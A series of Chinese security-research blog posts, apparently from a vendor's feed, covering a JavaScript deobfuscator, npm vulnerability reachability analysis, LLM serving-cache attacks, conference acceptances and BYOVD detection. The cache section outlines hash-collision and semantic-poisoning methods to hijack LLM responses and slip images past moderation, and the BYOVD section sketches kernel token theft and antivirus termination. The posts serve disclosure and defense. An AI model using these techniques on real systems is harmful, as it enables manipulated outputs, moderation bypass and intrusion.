当前的JavaScript反混淆工具面临着三个核心挑战，这些挑战严重限制了它们在实际安全分析中的应用效果。

输入处理的脆弱性： 现有工具在遇到不同语法、混合编码、打包器包装等”不规范”输入时经常直接崩溃。真实世界的恶意代码往往包含这些问题，导致工具连分析机会都没有。
分析策略的单一性： 静态分析工具无法处理运行时依赖的混淆（如动态代码生成），动态分析工具又难以应对大规模样本和安全风险。更关键的是，现有工具通常只针对特定混淆模式，缺乏对多层混淆的综合支持。以JSFireTruck恶意软件为例，这个一个月内感染26.9万网页的攻击使用了复杂的多层混淆，现有工具要么无法处理，要么只能部分解码。
输出可读性的缺失： 即使成功反混淆，输出代码仍充斥着_0x4f2a、_0x1b3c等这样的无意义标识符，安全分析师需要花费大量时间才能理解代码逻辑，严重影响威胁响应效率。

三、JSIMPLIFIER的创新设计

针对以上挑战，我们提出了JSIMPLIFIER，一款集代码预处理、静态抽象语法树分析、动态执行跟踪和大语言模型（LLM）智能变量重命名与代码美化于一体的综合性反混淆工具。JSIMPLIFIER采用三阶段流水线架构，每个阶段专门解决一类核心问题，形成了从”输入修复”到”逻辑还原”再到”可读性提升”的完整处理链条。

预处理器：让”坏代码”变”好代码”（Preprocessor）

预处理器是整个系统的基石，负责将各种”问题代码”标准化为可分析的格式。它首先进行代码有效性检查，使用容错性强的Meriyah解析器，即使面对不同灵活语法或不完整的代码也能生成完整的抽象语法树（AST）。接着进行词法清理，系统性地处理字符编码冲突，比如将过时的八进制转义序列（如\302）转换为标准的十六进制格式（如\xC2），并重建被分割的多字节UTF-8字符。在语义兼容化阶段，系统将遗留的JavaScript构造替换为跨平台等价物，确保在现代JavaScript环境中的兼容性。最后通过结构优化，利用AST作用域链遍历解决声明冲突，将代码重构为严格模式兼容的形式。

反混淆器：静态与动态的完美协作（Deobfuscator）

反混淆器采用混合分析设计，巧妙结合静态AST分析和受控动态执行。

增强的静态AST分析 方面，JSIMPLIFIER配备强化表达式求值引擎，专门处理混淆代码中的复杂构造：对于LogicalExpressions，实现正确的短路求值处理嵌套的&&和||链（如False && anything直接返回False）；对于ES6解构赋值如[a, b, c] = [getValue(), obj.prop, func.call(this)]，JSIMPLIFIER扩展AssignmentExpression处理，解析左侧模式结构并递归遍历嵌套数组模式，将每个元素位置映射到对应的右侧值；对于UnaryExpressions中的环境检测代码如typeof window !== 'undefined'，JSIMPLIFIER维护excludedNames白名单（包含window、document、navigator等关键全局变量），避免静态求值破坏环境特定的代码路径。

受控动态执行监控 方面，JSIMPLIFIER首先进行预执行风险评估，扫描危险关键字组合（push、shift、eval、await）识别可能导致无限循环或递归死锁的代码模式，并通过函数依赖映射追踪混淆函数间的调用关系。然后使用Node.js的vm.runInNewContext创建隔离执行环境，每个混淆代码段在独立的沙箱VM实例中运行，无法访问文件系统、网络或全局对象，仅暴露必要的内置对象。JSIMPLIFIER实现了全面的安全机制，包括执行超时防止进程挂起、递归深度限制防止无限循环、内存监控防止资源耗尽攻击。

混合分析协调技术 通过双向信息流实现两种分析方法的有机融合。在静态到动态的移交中，当静态分析遇到无法安全求值的CallExpression时（如函数调用者通过变量查找确定、涉及运行时代码生成的调用、依赖运行时状态的调用），JSIMPLIFIER的canbetransformed标记机制识别这些表达式并打包上下文信息传递给动态执行监控。在动态到静态的反馈整合中，动态执行结果经过类型感知处理后重新整合到静态AST：简单数据类型直接转换为字面量AST节点，函数结果解析为FunctionExpression节点，复杂对象通过JSON序列化确保安全表示，同时更新作用域链中的变量绑定并触发依赖代码段的重新分析。

人性化器：从机器码到人类语言（Humanizer）

虽然反混淆器成功恢复了程序逻辑，但结果往往仍然难以阅读。人性化器通过LLM技术将机械正确但晦涩的代码转化为专业、可读的形式。在智能标识符重命名方面，JSIMPLIFIER可以利用多种LLM模型（GPT、Gemini、本地模型等）进行上下文感知的变量和函数重命名，将无意义的混淆标识符替换为语义明确的名称。同时通过专业代码美化，集成Prettier格式化工具，确保输出符合行业标准的代码规范，包括一致的缩进、标准化的括号放置和规范的引号使用，最终生成既功能正确又易于理解的高质量代码。

四、最大规模验证与突破性成果

全面的数据集构建

为公正全面地评估工具性能，我们构建了业界最大的真实JavaScript混淆数据集进行验证。MalJS数据集包含23,212个野生恶意样本（平均391.78KB），这些样本来自超过1000万个真实恶意代码中的精选，覆盖所有已知的20种混淆技术。BenignJS数据集包含21,209个良性样本（平均41.40KB），来源于GitHub热门项目和合法网站。这两个数据集提供了真实世界中多样化和多层混淆技术的样本，远超现有数据集仅包含人工生成样本的局限。

全面的技术覆盖突破

实验评估采用了多个互补维度进行综合测评。在反混淆能力评估中（表II），JSimplifier实现了对全部20种混淆技术的100%处理能力和100%正确率，远超现有工具。与13种现有方法（包括10种传统工具和3种基于LLM的方案）的对比表明，传统工具在面对复杂语义级混淆时表现不足，而即便是先进的LLM方案也难以处理最复杂的混淆方法。

显著的代码简化效果

在代码简化评估中，JSimplifier在多个维度上展现了卓越的性能。首先，工具在CombiBench基准测试上达到了0.8820的Halstead长度减少分数——这一指标衡量代码中操作符和操作数的数量变化，分数越高说明代码复杂度降低更多。JSimplifier实现的88.2%复杂度降低意味着反混淆后的代码比原始混淆代码简单了近9成，显著超越了现有工具。

此外，研究团队还采用熵值分析来量化代码的随机性和混乱程度。熵值越低，代码的结构越清晰、可读性越强。大规模评估显示，JSimplifier在全部44,421个样本上实现了显著的熵值降低（如图2）——无论是AST结构熵（衡量代码语法树的复杂度）还是代码文本熵（衡量文本层面的混乱度）均达到最低中位值，充分证明了工具在真实场景中的有效性。

质的可读性飞跃

为验证代码可读性提升，研究团队采用了多个先进LLM模型（Claude 3.7 Sonnet、Gemini 2.5 Pro、DeepSeek-R1、GPT-o3）进行独立评估。这些模型对代码可读性进行0-10分的打分，其中0分代表完全不可读，10分代表极易理解。评估结果如下表所示，JSimplifier实现了平均466.94%的可读性提升，将难以理解的混淆代码（评分1.02-1.81，接近完全不可读）转化为适合安全分析的清晰代码（评分6.21-7.83，达到良好可读性水平）。

此外，研究团队还进行了用户研究，邀请9名不同专业水平的参与者（新手、中级、专家各3名）分析混淆样本。结果表明JSimplifier显著提升了分析准确率（新手提升12.7%）并大幅减少了分析时间（中级用户减少47.7%），主观评分在可读性、清晰度和逻辑性方面均显著提高。用户研究显示，工具显著提升了分析准确率（新手提升12.7%）并大幅减少了分析时间（中级用户减少47.7%）。一位中级参与者评价道：”变量重命名让我能够快速跟踪逻辑流程，我可以在几分钟内识别出可疑的网络调用，而不是在整个分析过程中大海捞针。”

实战验证：破解JSFireTruck的”密码”

JSFireTruck恶意软件活动是JSIMPLIFIER实战能力的最佳证明。这个复杂的攻击活动仅使用六个ASCII字符!+就构建了极其复杂的混淆代码，传统工具几乎束手无策。

原始混淆代码（部分）：

JSIMPLIFIER反混淆结果：

通过JSIMPLIFIER，安全分析师可以清晰地看到攻击逻辑：检测搜索引擎来源、注入恶意iframe、重定向到攻击域名。这种从”天书”到”明文”的转换，极大提升了威胁分析和响应的效率，展现了工具在真实安全分析场景中的实用价值。

五、结论：从”混乱”到”清晰”的技术突破

JSIMPLIFIER的成功体现了针对JavaScript混淆这一具体安全问题的有效解决方案。通过将静态分析、动态执行和LLM技术相结合，该工具在处理复杂混淆代码方面取得了显著进展。

技术贡献的实际价值主要体现在三个方面：三阶段流水线架构有效解决了输入多样性、分析复杂性和输出可读性的问题；静态与动态分析的协调机制克服了单一方法的局限性；LLM技术的合理应用显著改善了代码的人机交互体验。这些技术改进为反混淆工具的发展提供了新的参考方向。

实验验证的充分性通过大规模真实数据集得到了有力支撑。在44,421个样本上的测试结果——100%的技术覆盖率、88.2%的复杂度降低、466.94%的可读性提升——证明了该方法的有效性。JSFireTruck等真实案例的成功处理进一步验证了工具在实际安全分析场景中的实用价值。

当然，JavaScript混淆技术仍在不断发展，新的挑战也会持续出现。JSIMPLIFIER的模块化设计为应对这些变化提供了一定的灵活性。我们期待通过持续的技术改进和社区合作，进一步提升JavaScript安全分析的效率和准确性。

目前，JSimplifier及对应数据集已开源发布，面向安全研究和防护社区共享。未来工作将继续优化工具性能，扩展对更多混淆技术的支持，为脚本安全分析提供更好的技术工具。

项目开源地址：https://github.com/XingTuLab/JSIMPLIFIER

论文链接：https://arxiv.org/abs/2512.14070

阅读原文

跳转微信打开

论文分析结果指明传统工具所产生的漏洞警告中，高达 68.28% 都是“噪声”，即漏洞代码实际上根本无法被触达。

一、引言：软件供应链安全的“狼来了”困境

想象这样一个场景：你是一名开发者，每天打开 CI/CD 系统，迎接你的是数百条安全警报——“检测到依赖包存在高危漏洞，请立即修复！” 但当你花费大量时间逐一排查后却发现，绝大多数警报都是虚惊一场：那些所谓的“漏洞代码” 根本就没有被你的应用调用。这种“警报疲劳”已成为软件供应链安全领域的痛点，也是众多安全检测工具难以实际落地应用的重要原因。

这正是奇安信技术研究院和清华大学研究团队在 NDSS 2026 会议上发表的论文所要解决的核心问题。论文题目为 《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》，作者为蒲应元（奇安信星图实验室），应凌云博士（奇安信星图实验室）和谷雅聪博士（清华大学）。这项研究针对全球最大的开源软件生态系统——npm（拥有超过 300 万个包，2024 年处理了约 4.5 万亿次请求），提出了一套基于函数调用关系的细粒度漏洞传播关系识别方法和分析框架。论文分析结果表明，传统工具所产生的漏洞警告中，高达 68.28% 都是“噪声”，即漏洞代码实际上根本无法被触达。

二、问题的本质：为什么传统方法会产生如此高的误报

npm生态系统的复杂性源于其极度碎片化的包依赖结构。已有研究显示，约四分之一的npm包版本依赖于存在已知漏洞的包。以 pac-resolver为例，这个每周下载量达 300 万次的 npm 包曾曝出高危远程代码执行漏洞，导致 GitHub 上超过 28.5 万个公共仓库可能面临风险。但问题的关键在于：依赖存在漏洞的包，不等于你的应用真的受到影响。

当前主流的软件成分分析（SCA）工具，如npm audit、GitHub Dependabot等，都采用包级别的分析方法。它们的逻辑很简单：如果你的依赖树中存在包A的v1.0版本，并且包A的v1.0版本存在漏洞，则发出警报提醒你的应用受到影响。但这种粗粒度分析忽略了三个关键问题：

1. 未使用的依赖：你的 package.json 声明了依赖，但代码中从未引入（require/import）该包的任何模块。
2. 浅层的 API 使用：即使引入了包，可能只使用了其中若干个函数，而漏洞函数根本未被调用。
3. 传递性衰减：通过多层依赖传递时，每一跳的使用范围都在缩小。

理论上，函数级可达性分析是最佳解决方案——只有当存在从应用入口到漏洞函数的调用路径时，才认为应用真正可能受到影响。但在 npm 生态实施函数级分析面临三大技术挑战：

• 首先是可扩展性挑战：传统方法需要为每个项目构建完整的调用图（Call Graph），也包含其所有依赖，对于复杂项目，依赖数量可达数百甚至上千个包。每次分析都要从头开始，计算成本呈指数级增长。

• 其次是 JavaScript 的动态特性带来的程序分析挑战。极其灵活的语法特性为静态分析制造了诸多盲区：代码中广泛存在的动态属性访问（利用变量而非字面量调用函数）、将函数作为参数传递的高阶函数机制（回调），以及允许在运行时动态修改对象原型链的特性，都让静态分析器难以在运行前确定具体的调用目标和完整的控制流，从而极易导致依赖分析链路的断裂或缺失。具体代码示例如下：

  

• 最后，JavaScript 语言模块系统的复杂性进一步加剧了分析难度：CommonJS (require)和 ESM (import/export) 不同的模块机制、module.exports对象可在运行时修改，以及require()的参数可以是动态表达式，这些都进一步加剧了分析难度。

三、VulTracer的核心设计和解决方案

面对这些挑战，我们设计并实现了 VulTracer 这个分析框架。它的核心洞察在于：npm包一旦发布就不可变，因此可以为每个包预计算可复用的分析结果。这开启了“分析一次，复用多次”的新范式。

VulTracer 将传统的整体式分析分解为三个独立阶段，核心设计和架构如上图所示。以下将详细介绍每一个部分的设计逻辑和细节。

3.1 富语义图生成 (RSG Generation)

首先，VulTracer 利用程序静态分析技术，为每一个包构建了一个 富语义图（Rich Semantic Graph, RSG）。这张图不仅看清了包内部的函数调用脉络，更关键的是，它显式地刻画了包的“边界”——哪些函数被暴露给了外部，又有哪些地方调用了外部依赖。传统的调用图（Call Graph）只记录“谁调用了谁”，而RSG设计了一个多层次的图结构，完整保留包的边界信息，图中的实体结构和详细定义如下图 DEF1 所示，包含了三类不同的顶点集合和边集合。

3.2 接口契约提取 (Interface Contract Extraction)

虽然 RSG 保留了包的全部内部细节，但如何让独立分析的包能够正确“对接”？这就涉及到了提取形式化的接口契约。VulTracer 从这张复杂的图中提取出了一份简洁的形式化接口契约（Interface Contract）。这就像是给每个软件模块定义了标准的“插头”和“插座”，契约中清晰地记录了 API 的导出方式（Export Manifold）和导入方式（Import Manifest）。这一步至关重要，它充当了一道“语义防火墙”，屏蔽了复杂的内部实现细节，只保留了交互所需的关键信息。具体的定义如下图 DEF2 所示。

3.3 拓扑排序驱动的按需组合式合成 (Compositional Synthesis)

最后，当需要检测某个具体项目时，VulTracer 不再需要深究源代码，而是像拼乐高积木一样，根据依赖关系，将预先计算好的 RSG 和契约进行组合式合成（Compositional Synthesis）形成一个新的生态级调用图 (ECG)。并且该 ECG 可根据任意真实项目的依赖关系按需组装。这种设计使得分析速度和扩展性得到了质的飞跃——在处理复杂的真实依赖图时，VulTracer 的成功率高达 99.41%，而对比的工具Jelly仅为 37.37%。

四、生态级实证研究：揭示漏洞传播的真相

在这项工作中，我们利用 VulTracer 对整个 npm 生态进行了史上最大规模的函数级漏洞传播影响分析。

4.1 数据集构建

首先我们构建了两个核心的数据集：

• npm 生态数据集： 包含了 3,267,273个唯一npm包 以及其 34,685,976 个不同版本。同时解析并构建了整个生态中超过9亿条的依赖关系。

• 漏洞数据集：我们采用双维度选择策略，确保选择的漏洞样本既有代表性又有多样性。一是高影响力漏洞，从 2024 年下载量排行 TOP 10 的软件包 lodash, debug, semver, minimatch 这四个核心库中，找到了影响他们的6个CVE漏洞，每个软件包都有数十万直接依赖包，并且漏洞影响了超过百万的下游软件包。二是多样性维度，对齐 2024 CWE-Top-25 的类型，覆盖注入(CWE-79)、原型污染(CWE-1321)等21个不同类型的 CVE 漏洞，代表不同的攻击向量。最终我们的研究涵盖了27个CVE，涉及9,868,514条潜在传播路径。

4.2 单跳分析：分析衰减的根本原因

我们首先聚焦于d₁ → d₀的单跳关系，这样可以排除多跳传播的复杂因素，精确归因。在我们的研究中建立了三层漏洞传播条件：仅引入模块 (C_mod)、调用任意函数 (C_func)、调用漏洞函数 (C_vuln_func)。定义如下图所示：

只有 C_mod ∧ C_func ∧ C_vuln_func 同时为真，才认为漏洞真正传播。最终单跳的分析结果如下表所示。

我们发现平均 22.80% 的直接依赖包声明了依赖，但从未导入任何模块（C_mod失败）。以 lodash 为例：存在 396,112 个声明依赖的包，但是有 131,933个“僵尸依赖” (33.31%)。这13万多个包背上了“有漏洞”的标签，但实际上完全不受影响。

同时我们还发现，npm 第三方库的 API 设计决定传播率。同样的对于 lodash 这样一个综合工具库，拥有242个函数，但漏洞函数 template 只占所有调用的0.30%，排名第49位，详细分析如下图所示。说明这个函数的下游使用率并不高。与之相反的是 debug 库，它功能单一专注于调试，其核心功能函数就是其主函数，导致直接依赖者的受影响比例高达 71.77%。

4.3 多跳分析：揭示传递性衰减规律

单跳分析揭示了初始衰减，但漏洞会通过传递依赖传播多远？我们追踪了完整的传播路径。在分析中，我们追踪了9,868,514条潜在传播路径，涉及1,663,634个包版本。最终不同漏洞的传播结果如下表所示。

在表格数据中， 以 CVE-2022-3517 (minimatch) 为例，数据揭示了粗粒度分析带来的严重误报问题。包级别分析报告了 497,595 条潜在传播路径，涉及 286,731 个受影响的包版本。然而，经由 VulTracer 的函数级可达性分析，确证受影响的包版本仅为 22,557 个。从全局统计维度来看，函数级分析所识别的受影响库数量平均仅为包级别分析结果的 **31.72%**。这一数据统计表明，现有包级别依赖扫描工具产生的警报中，约 68.28% 属于漏洞代码不可达的误报（False Positives）。

最后，在上图也更进一步可视化了漏洞传播随依赖链路深度的衰减过程，分别从两个不同的视角来进行呈现。图（a）展示了每一跳（Hop）中新增受影响包数量的分布情况。对比显示，函数级别（红色曲线）的传播在 3 跳 之后呈现出急剧的衰减趋势，与包级别（蓝色曲线）的长尾分布形成显著差异。这证实了真实的漏洞影响范围会随着依赖深度的增加而迅速减弱。而图（b） 展示了传播过程中的累积概率分布情况进一步佐证了这一“浅层效应”：函数级传播曲线迅速收敛并达到平台期，数据显示 96.59% 的真实受影响包均收敛在 4 跳 的范围内。这意味着，尽管依赖图谱可能具有较深的层级结构，但具有实际威胁的漏洞传播主要局限于浅层依赖网络中。

五、结论：从噪声中提取信号

面对日益复杂的开源生态，我们的研究证明，传统的“版本比对”模式已经难以为继。由现有包级别工具识别出的潜在风险中，高达 68.28% 的漏洞代码实际上从未被调用。换言之，近七成的“受影响”项目其实是安全的，并不需要火急火燎地去修复。这种高误报率不仅制造了巨大的“噪声”，更导致了严重的警报疲劳，反而掩盖了真正的威胁。

因此，转向更细粒度的函数级可达性分析已是行业必经之路。通过 VulTracer，我们可以从噪声中提取出那 30% 的真实信号。这不仅能让开发者从无效的运维工作中解脱出来，更能让安全团队聚焦于真正具有可利用性的威胁。这才是让供应链安全治理走出困境、迈向精准防御的未来方向。

阅读原文

跳转微信打开

在大模型（LLM）服务极速发展的当下，效率至关重要。为了降低延迟并控制算力成本，主流推理框架广泛引入了先进的缓存机制。然而，这种追求极致速度的设计是否埋下了安全隐患？

本论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作说明了缓存机制如果实现不恰当的话，就会造成安全隐患。论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和曲海鹏教授（中国海洋大学），其他作者为陈国强（奇安信星图实验室），谷雅聪（清华大学）。这项研究聚焦于大语言模型（LLM）推理服务框架中的安全威胁，深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

1. LLM推理加速背后的隐忧

随着模型参数规模的不断膨胀，推理计算的开销急剧上升。为了优化用户体验，vLLM、SGLang、GPTCache等主流服务框架引入了多种缓存策略，包括前缀缓存（Prefix Cache）、语义缓存（Semantic Cache）和多模态缓存（Multimodal Cache）。

虽然这些机制通过存储中间状态极大地减少了重复计算，但我们的研究发现，现有的缓存实现往往“重效率、轻安全”。非加密哈希函数的滥用、有缺陷的对象序列化以及模糊的语义匹配标准，共同构成了一个全新的、尚未被充分探索的攻击面。与以往关注训练阶段的数据投毒不同，这是一类发生在推理阶段的全新安全威胁。

2. Cache Me, Catch You：首个LLM缓存安全系统性研究

为了揭示这一风险，我们对主流LLM服务框架的缓存实现进行了全面的解构与分析，并提出了六种新颖的攻击向量。这些攻击利用了哈希碰撞和语义模糊匹配的特性，能够在不接触模型权重的情况下，通过污染共享缓存来操纵模型输出。

主要发现与攻击向量：

我们将发现的威胁归纳为两大类：一是面向用户的欺诈攻击，即攻击者利用系统渠道向用户传递恶意信息 ，具体手段包括利用哈希碰撞替换合法提示词以劫持对话逻辑的系统提示词碰撞、针对语义缓存构造高相似度恶意查询诱导错误回答的语义模糊投毒 ，以及在检索增强生成场景下利用文档相似性扩大攻击面的RAG语义投毒 ；二是系统完整性攻击，旨在破坏服务功能或绕过安全审查 ，具体涵盖构造与目标完整前缀碰撞以劫持响应的提示词碰撞劫持 、通过精心构造padding token让恶意代码块对LLM“隐形”以绕过审计的分块碰撞劫持 ，以及利用图像处理忽略元数据（如尺寸）缺陷构造哈希碰撞图片以绕过审核的多模态碰撞 。

细节详解：

以多模态为例，其核心漏洞根源在于当前主流推理框架（如vLLM）在对多模态数据进行序列化时存在严重的逻辑缺陷。具体而言，vLLM默认调用PIL 的 tobytes() 方法来提取图像数据以计算哈希，该方法虽然能获取原始像素字节流，但在vLLM的后续操作中完全忽略了图像宽高等尺寸信息以及调色板等关键元数据。攻击者利用这一特性实施“尺寸伪装”攻击，通过重塑图像维度（例如将 H*W的图像变形为W*H）而不改变像素排列顺序，使得原本违规的图片变成一团毫无意义的噪点，从而生成与原图完全一致的哈希值。

此外，攻击者还能利用“调色板模式”漏洞，构造出索引数据相同但颜色定义截然相反的图片对（如黑底白字与白底黑字），由于序列化过程仅读取索引而忽略调色板定义，这两张视觉迥异的图片在系统眼中却拥有相同的“指纹”。

同样的隐患也出现在SGLang框架中，其为了适配张量数值范围将SHA256哈希值进行了取模截断，导致哈希空间被压缩至极易发生碰撞的范围。

下图是我们操纵图片当中的尺寸和PNG当中的P格式的调色盘，实现看上去不同的图片但是hash一致。

3. 实验效果与影响评估

我们在vLLM、SGLang及GPTCache等主流开源框架上进行了实测，证实了这些攻击路径的高可用性与低门槛：攻击者仅需不到1美元的成本即可完成一次投毒 。以针对vLLM的前缀缓存攻击为例，我们在30分钟内便成功搜索到碰撞哈希，实现了100%的缓存命中 。

实验还还原了真实的威胁场景违规图片如何利用多模态缓存缺陷骗过内容审核系统。下图展示一个示意图，成功命中图片之后会复用之前的图片预处理结果，导致生成了错误回复。

4. 防御方案与行业响应

针对发现的漏洞，我们提出了五层防御策略，包括引入随机化哈希（Salting）、采用强加密哈希函数、强制规范化序列化流程、使用更鲁棒的Embedding模型以及增加LLM辅助过滤层。我们的理论分析和实际验证表明，上述的防御方案是可行的、有效的。

我们在第一时间将发现的漏洞通报给了受影响的厂商和社区，包括 vLLM、SGLang、GPTCache、AIBrix、rtp-llm 和 LMDeploy，并分配了 3个 CVE 编号。值得注意的是，vLLM、GPTCache 和 AIBrix 已经采纳了我们提出的缓解措施（如引入随机盐值、规范化图像序列化等）并完成了修复。（在本文发表时，SGLang也反馈采纳了我们的缓解措施。）

5. 讨论与未来展望

我们的研究再次表明，高性能不应成为忽视底层系统安全的理由。本研究证明，即便模型本身无懈可击，外围缓存框架的设计缺陷仍足以瓦解整个系统的信任基石；特别是在云端共享算力场景下，必须实施严格的多租户隔离与键值空间分离以防御跨租户攻击。作为填补推理侧缓存安全空白的先行工作，本研究旨在推动社区正视这一隐蔽威胁，共同构建更稳健的大模型服务基础设施。

更多参考

想了解更多技术细节？欢迎阅读我们的学术论文或访问项目主页：

代码仓库：

https://github.com/XingTuLab/Cache_Me_Catch_You

感谢您的阅读，期待能为您的AI安全研究与工程实践带来启发！

阅读原文

跳转微信打开

国际顶级学术会议 NDSS 2026（Network and Distributed System Security Symposium）公布录用结果，奇安信技术研究院合作完成的4篇论文成功被录用。

近日，国际顶级学术会议 NDSS 2026（Network and Distributed System Security Symposium）公布录用结果，奇安信技术研究院合作完成的4篇论文成功被录用。NDSS 2026将于2026年2月23日至27日在美国圣地亚哥举办。此次多篇论文被录用，充分展现了奇安信技术研究院在网络安全前沿技术研究领域的深厚实力。

第一篇论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作，论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和曲海鹏教授（中国海洋大学），其他作者为陈国强（奇安信星图实验室），谷雅聪（清华大学）。这项研究聚焦于大语言模型（LLM）推理服务框架中的安全威胁，深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

这项工作揭示了上述机制中严重的安全隐患：攻击者可利用这些漏洞操纵模型输出，实施数据投毒，甚至绕过现有的安全审核与防御体系。团队在 vLLM、SGLang 和 GPTCache 等主流推理服务框架中定位到了具体的实现缺陷，并提出了针对性的修复方案。目前，相关漏洞已被厂商确认并修复，因此获得了 3 个 CVE 漏洞编号，为提升 LLM 基础设施的安全性做出了实质性贡献。

第二篇论文是由奇安信技术研究院和清华大学合作完成的关于软件供应链安全的工作。论文题目为《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》，作者为蒲应元（奇安信星图实验室）、应凌云（奇安信星图实验室）和谷雅聪（清华大学）。这项研究提出了基于函数调用关系的细粒度漏洞传播关系识别方法，结果表明传统的基于包依赖关系识别的漏洞影响结果中约 70% 都是误报。

npm作为全球最大的开源软件生态，其错综复杂的依赖关系使得漏洞极易在供应链中传播，给软件安全带来巨大隐患。现有的包级别软件成分分析（SCA）工具普遍存在严重的误报问题，无法区分漏洞代码是否真实被调用，同时现有的函数级分析工具在面对大规模生态时，往往面临计算成本过高和对JavaScript动态特性支持不足等瓶颈。为解决这些问题，我们设计开发了 VulTracer，一款面向npm生态的高精度、可扩展的函数级漏洞传播分析框架。该工具创新性地提出了“一次分析，多次复用”的模块化分析模式，通过对每一个 npm 包构建不可变的富语义图（RSG）、提取形式化接口以及按需组合合成技术，成功解决了大规模静态分析中的性能与精度挑战。

同时，VulTracer基于全量npm生态（覆盖3400万个npm 包版本，超 9 亿条依赖关系）进行了迄今为止最大规模的函数级漏洞影响实证研究。实验结果表明，该工具在调用图构建上达到了0.905的F1分数（SOTA），相比npm audit降低了94%的误报率；同时研究结果进一步揭示，现有包级别分析工具产生的警报中 68.28% 均为“噪声”（即漏洞代码不可达），且真实的漏洞传播往往随依赖层级加深而迅速衰减。该工作为缓解开发者的警报疲劳提供了切实可行的技术路径，使安全修复工作能聚焦于真实存在的威胁。

第三篇论文是由奇安信技术研究院和北京邮电大学合作完成的关于JavaScript反混淆的工作。论文题目为《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》，这项工作由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和王东滨教授（北京邮电大学），参与该项工作的还有柴华君（奇安信星图实验室）。这篇论文也是我们继PowerPeeler (CCS 2024)和Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。

JavaScript作为互联网核心脚本语言的广泛应用，使其成为恶意攻击者的重要载体。攻击者利用复杂的代码混淆技术隐藏恶意行为，给安全分析带来严峻挑战。现有反混淆工具普遍存在处理复杂样本能力有限、仅支持特定混淆类型、输出代码难以阅读等关键局限。为解决这些问题，我们设计开发了JSIMPLIFIER，一款集成多阶段处理流程与大语言模型增强的综合性JavaScript反混淆工具。该工具创新性地结合代码预处理、静态AST分析与动态执行监控的双引擎协同，以及基于LLM的智能变量重命名，实现从复杂样本格式化到语义增强的全流程反混淆。JSIMPLIFIER基于44,421个真实混淆样本构建了目前最大规模数据集，实验证明其100%覆盖20种主流混淆技术，达到100%处理成功率和正确率，代码复杂度降低88.2%，可读性提升超过4倍。该工具已成功还原JSFireTruck等复杂恶意样本的混淆行为，相关研究成果、工具及数据集已开源共享。

第四篇论文是由奇安信技术研究院、清华大学和中关村实验室合作完成的关于代码签名滥用检测的工作。论文题目为《Understanding the Status and Strategies of the Code Signing Abuse Ecosystem》，这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成，导师为段海新教授（清华大学）和应凌云博士（奇安信星图实验室）。其他作者分别为张一铭（清华大学）、张明明（中关村实验室）、刘保君（清华大学）、游子权（清华大学）、张书豪（奇安信星图实验室）。

近年来，软件供应链安全事件频发，为了保护软件真实性与完整性，代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术，旨在确保软件来自真实来源且软件内容未被篡改。然而，攻击者有时会反过来利用代码签名PKI信任体系中的安全缺陷，帮助恶意软件绕过操作系统和杀毒软件的检查。深入理解代码签名滥用生态系统的演变过程以及滥用者的策略，对于完善相关检测与防御机制至关重要。

在这项工作中，我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件，对代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法，我们检测到了 43,286 张滥用证书，构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在，影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了 5 种滥用者的攻击策略，并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。

阅读原文

跳转微信打开

天穹智能化沙箱系统已完成对 BYOVD 攻击全链路行为的深度建模，并正式上线针对该类攻击的专项检测能力。

近期，天穹沙箱团队观察到 BYOVD（Bring Your Own Vulnerable Driver） 技术正被越来越多的高级威胁组织（如 APT29、Lazarus 及勒索软件团伙）用于绕过现代 Windows 系统的内核防护机制。该技术通过加载已签名但存在已知漏洞的合法驱动程序，在不触发传统 EDR 检测的前提下，实现内核级内存篡改、SYSTEM 权限提权及安全软件进程终止，已成为当前最隐蔽、危害性极强的逃逸手段之一。

在此背景下，天穹智能化沙箱系统已完成对 BYOVD 攻击全链路行为的深度建模，并正式上线针对该类攻击的专项检测能力。经实测验证，天穹沙箱可精准识别包括驱动加载、内核内存操作、令牌提权、杀软进程终止等关键阶段，有效阻断 BYOVD 攻击在横向移动与持久化前的关键窗口。

BYOVD 的核心在于“合法签名 + 漏洞”的组合利用。攻击者无需自行开发驱动，而是从公开渠道（如厂商官网、GitHub、驱动仓库）搜集已被微软 WHQL 签名、但存在任意写（Arbitrary Write）、UAF（Use-After-Free）等漏洞的旧版驱动（例如 ASUS、EVGA等硬件厂商历史驱动）。由于这些驱动具备有效证书，即使在启用了 Secure Boot 和 Driver Signature Enforcement 的系统中，仍可被加载执行。

更关键的是，此类攻击不依赖传统注入、Hook 或 shellcode 执行，而是通过驱动暴露的 IOCTL 接口直接与内核交互，绕过用户态 EDR 监控。一旦成功利用，攻击者即可实施以下操作：

• 修改任意进程的 EPROCESS.Token，实现权限提升至 SYSTEM；

• 覆写目标进程（如 MsMpEng.exe、360tray.exe、bdagent.exe）的内存或关键结构，使其异常退出而不触发进程保护机制；

• 在 HVCI 未启用的环境中实现近乎“无痕”的内核控制。

针对 BYOVD 攻击的隐蔽性与内核级特性，天穹沙箱从驱动加载行为、内核内存访问模式、进程上下文关联三个维度构建了多层检测引擎：

1. 漏洞驱动加载行为识别

天穹沙箱内置 驱动文件信誉库 与 动态加载行为分析模块，能够：

• 实时监控样本是否尝试注册或加载 .sys 驱动文件；
